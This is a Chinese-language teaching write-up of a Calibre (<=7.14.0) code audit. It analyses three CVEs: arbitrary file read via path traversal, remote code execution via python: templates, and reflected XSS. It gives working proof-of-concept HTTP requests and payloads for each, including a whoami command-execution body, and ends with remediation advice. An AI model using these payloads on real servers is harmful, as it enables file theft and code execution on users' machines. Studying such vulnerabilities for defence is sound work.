Calibre代码审计集合
字数 1925 2025-11-08 10:04:01
Calibre代码审计与漏洞分析教学文档
一、环境搭建
1.1 漏洞影响版本
- Calibre <= 7.14.0
1.2 项目获取与构建
# 项目地址:calibre
Python setup.py build_dep windows # 构建依赖项
Python setup.py win64 --dont-sign # 安装
1.3 服务启动
安装完成后在操作页面开启服务
二、Calibre架构分析
2.1 核心模块机制
Calibre各个模块文件主要通过cdb.py调用,其中定义了电子书数据库执行操作所用的一系列API。
2.2 动态路由机制
- 路由器根据HTTP请求路径动态导入辅助模块
- 模块命名格式:
cmd_*.py - 示例:请求路由
/cdb/cmd/export时,路由器解析出模块名称cmd_export - 发包请求体内容作为参数传入,触发相应操作
2.3 核心代码分析(src/calibre/srv/cdb.py)
关键函数逻辑:
def module_for_cmd(which):
# 动态加载模块
# 如果模块readonly属性为False,会调用ctx.check_for_write_access(rd)检查写权限
# 模块加载是动态的,which参数未进行路径限制或校验
安全绕过机制:
- 如果模块
readonly属性设置为True,可通过传入该模块名绕过check_for_write_access检查 - 通过
m.implementation方法调用对应模块的implementation方法
三、CVE-2024-6781 任意文件读取漏洞
3.1 漏洞位置
- 文件:
src/calibre/db/cli/cmd_export.py
3.2 漏洞分析
- 权限绕过:
readonly模块变量为True,绕过check_for_write_access()检查 - 危险函数:当
action为extra_file时,调用db.copy_extra_file_to()方法 - 路径遍历:
relpath参数未过滤,直接用于构建相对路径读取文件 - 数据返回:文件内容存储到
BytesIO变量并返回给用户
3.3 漏洞复现
请求包构造:
POST /cdb/cmd/export HTTP/1.1
Host: ip:8080
Content-Type: application/json
["extra_file", 1, "../../../../../Users//321.txt", ""]
利用要点:
- 使用路径遍历字符串
../../../../访问系统任意文件 - 第二个参数为书籍ID(示例中为1)
- 第四个参数为空字符串
四、CVE-2024-6782 远程代码执行漏洞
4.1 漏洞位置
- 文件:
src/calibre/db/cli/cmd_list.py
4.2 漏洞分析
- 权限绕过:
readonly值为True,绕过权限校验 - 模板参数控制:
field == 'template'时,用户可控制template参数 - 格式化处理:
- 初始化字典
vals存储格式化结果 - 调用
safe_format方法处理用户提供的template参数
- 初始化字典
- 代码执行链:
formatter.safe_format()→evaluate()函数- 如果参数以
python:开头,直接解析执行Python代码 - 无输入过滤和验证机制
4.3 漏洞复现
请求包构造:
POST /cdb/cmd/list HTTP/1.1
Host: ip:8080
Content-Type: application/json
Content-Length: 303
[
["template"],
"",
"",
"",
1,
"python:def evaluate(a, b):\n import subprocess\n try:\n return subprocess.check_output(['cmd.exe', '/c', 'whoami']).decode()\n except Exception:\n return subprocess.check_output(['sh', '-c', 'whoami']).decode()"
]
利用要点:
- 模板参数必须以
python:开头 - 使用
subprocess模块执行系统命令 - 支持跨平台命令执行(Windows cmd.exe和Unix sh)
五、CVE-2024-7008 反射型XSS漏洞
5.1 漏洞位置
- 文件:
src/calibre/srv/legacy.py
5.2 漏洞分析
- 路由模式:请求路由为
/browse/book/{%}形式 - 直接插入:用户输入的
rest参数直接插入redirect变量 - HTML/JS拼接:使用lxml函数将变量拼接到HTML和JavaScript代码中
- 缺乏过滤:参数无清理和转义,可直接闭合字符串执行恶意代码
5.3 漏洞复现
Payload构造:
http://ip:8080/browse/book/TEST";window.stop();alert(document.location);%2f%2f
利用要点:
- 使用双引号闭合原有字符串:
" window.stop()停止页面加载alert(document.location)演示XSS效果- URL编码确保正确传输
六、安全防护建议
6.1 输入验证与过滤
- 对所有用户输入进行严格的路径校验
- 实现输入白名单机制
- 对特殊字符进行转义处理
6.2 权限控制增强
- 重新评估
readonly属性的安全含义 - 实现更严格的权限检查机制
- 避免通过属性设置绕过安全控制
6.3 代码执行防护
- 对动态代码执行进行沙箱隔离
- 限制可执行的Python代码范围
- 实现代码签名验证机制
6.4 输出编码
- 对所有输出到HTML的内容进行编码
- 实施Content Security Policy策略
- 使用安全的模板引擎
七、总结
本次审计揭示了Calibre软件在多个安全维度存在的严重漏洞,包括:
- 路径遍历导致任意文件读取
- 代码注入导致远程命令执行
- 输入验证缺失导致XSS攻击
这些漏洞的根本原因在于对用户输入缺乏充分的验证和过滤,以及权限控制机制存在设计缺陷。建议开发者在类似项目中引以为戒,建立完善的安全开发生命周期。